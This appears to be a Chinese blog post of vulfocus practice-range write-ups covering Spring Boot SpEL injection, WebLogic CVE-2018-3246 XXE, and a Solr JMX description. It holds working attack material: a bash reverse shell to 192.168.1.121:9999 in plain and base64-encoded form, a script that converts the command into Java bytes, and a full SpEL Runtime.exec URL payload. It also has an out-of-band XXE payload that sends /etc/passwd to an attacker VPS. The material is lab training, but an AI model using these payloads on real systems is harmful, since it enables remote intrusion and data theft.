vulfocus打靶-持续更新

spring-boot-whitelabel-spel

使用的vulfocus的靶场

image-20221030232047707

访问网址是这样

描述

spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
此时 URL 中的参数值会用 parseStringValue 方法进行递归解析。
其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞。

利用条件

  • spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0。
  • 至少知道一个触发 springboot 默认错误页面的接口及参数名。

Fuzz接口

发现这个/article?id=xxx接口有回显

image-20221030233730941

使用payload可执行命令

1
${10*10}`

image-20221030233808116

生成payload

1
2
3
4
5
#反弹Shell
bash -i >& /dev/tcp/192.168.1.121/9999 0>&1

#编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTIxLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}

利用下面的脚本生成java字节码

1
2
3
4
5
6
7
8
# coding: utf-8

result = ""
# target = 'open -a Calculator'
target = 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTIxLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))

生成的字节码结果为:

1
0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4f,0x54,0x49,0x75,0x4d,0x54,0x59,0x34,0x4c,0x6a,0x45,0x75,0x4d,0x54,0x49,0x78,0x4c,0x7a,0x6b,0x35,0x4f,0x54,0x6b,0x67,0x4d,0x44,0x34,0x6d,0x4d,0x51,0x3d,0x3d,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d

使用payload执行,拼接URL

1
/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4f,0x54,0x49,0x75,0x4d,0x54,0x59,0x34,0x4c,0x6a,0x45,0x75,0x4d,0x54,0x49,0x78,0x4c,0x7a,0x6b,0x35,0x4f,0x54,0x6b,0x67,0x4d,0x44,0x34,0x6d,0x4d,0x51,0x3d,0x3d,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))}

反弹Shell成功

image-20221031095141785

weblogic 远程代码执行

CVE-2018-2893漏洞影响范围:
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.2
WebLogic 12.2.1.3

CVE-2018-3245漏洞影响范围:
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.3

描述

WebLogic java反序列化漏洞( CVE-2018-3245 )是通过JRMP协议利用RMI机制的缺陷,进行远程代码执行漏洞的利用。攻击者可以在未授权的情况下,将payload封装,并通过WebLogic的T3协议进行传输,通过对T3协议中的payload进行反序列化,实现对存在漏洞的WebLogic组件进行远程攻击。实现任意代码执行,并获取目标系统的所有权限

影响范围

Oracle WebLogic Server10.3.6.0
Oracle WebLogic Server12.2.1.3
Oracle WebLogic Server12.1.3.0

weblogic 未授权访问 (CVE-2018-3246)

影响版本

  • WebLogic 12.1.3.0
  • WebLogic 12.2.1.3

利用条件

  • Web 服务测试组件在开发模式下无需认证,在生产模式下需要认证。
  • JDK 版本小于 8(jdk8 默认禁止外部 DTD)。

熟悉的配方

image-20221031235709185

加入URL拼接访问

1
/ws_utc/begin.do

然后就出现了一个文件上传功能

image-20221031235936792

验证

能解析XML文件

image-20221101004049523

上工具

获取Flag

工具地址:https://github.com/hackping/XXEpayload

下载后上传到VPS中,使用python运行

1
python xxer.py --http=1234 --hostname=VPS的IP --dtd=ftp.dtd.file.template --ftp=2121

image-20221101003428863

ext.dtd中的内容为:

1
<!ENTITY % ccc "<!ENTITY &#37; ddd SYSTEM 'ftp://fakeuser:@VPS的IP:2121/%bbb;'>">

bp抓文件上传的包,然后替换payload,再发包

1
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://VPS的IP:1234/ext.dtd"><!ENTITY % bbb SYSTEM "file:///etc/passwd">%aaa;%ccc;%ddd;]>

image-20221101003659036

回显已经有了

image-20221101003721877

然后看/tmp目录下的内容,flag已找到

image-20221101003847478

solr 代码执行 (CVE-2019-12409)

解释

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。是apache的顶级开源项目,使用java开发 ,基于lucene的全文检索服务器。

影响范围

Solr 8.1.1

Solr 8.2.0

原理

Java ManagementExtensions(JMX)是一种Java技术,为管理和监视应用程序、系统对象、设备(如打印机)和面向服务的网络提供相应的工具。JMX 作为 Java的一种Bean管理机制,如果JMX服务端口暴露,那么远程攻击者可以让该服务器远程加载恶意的Bean文件,随着Bean的滥用导致远程代码执行。

image-20221101004450538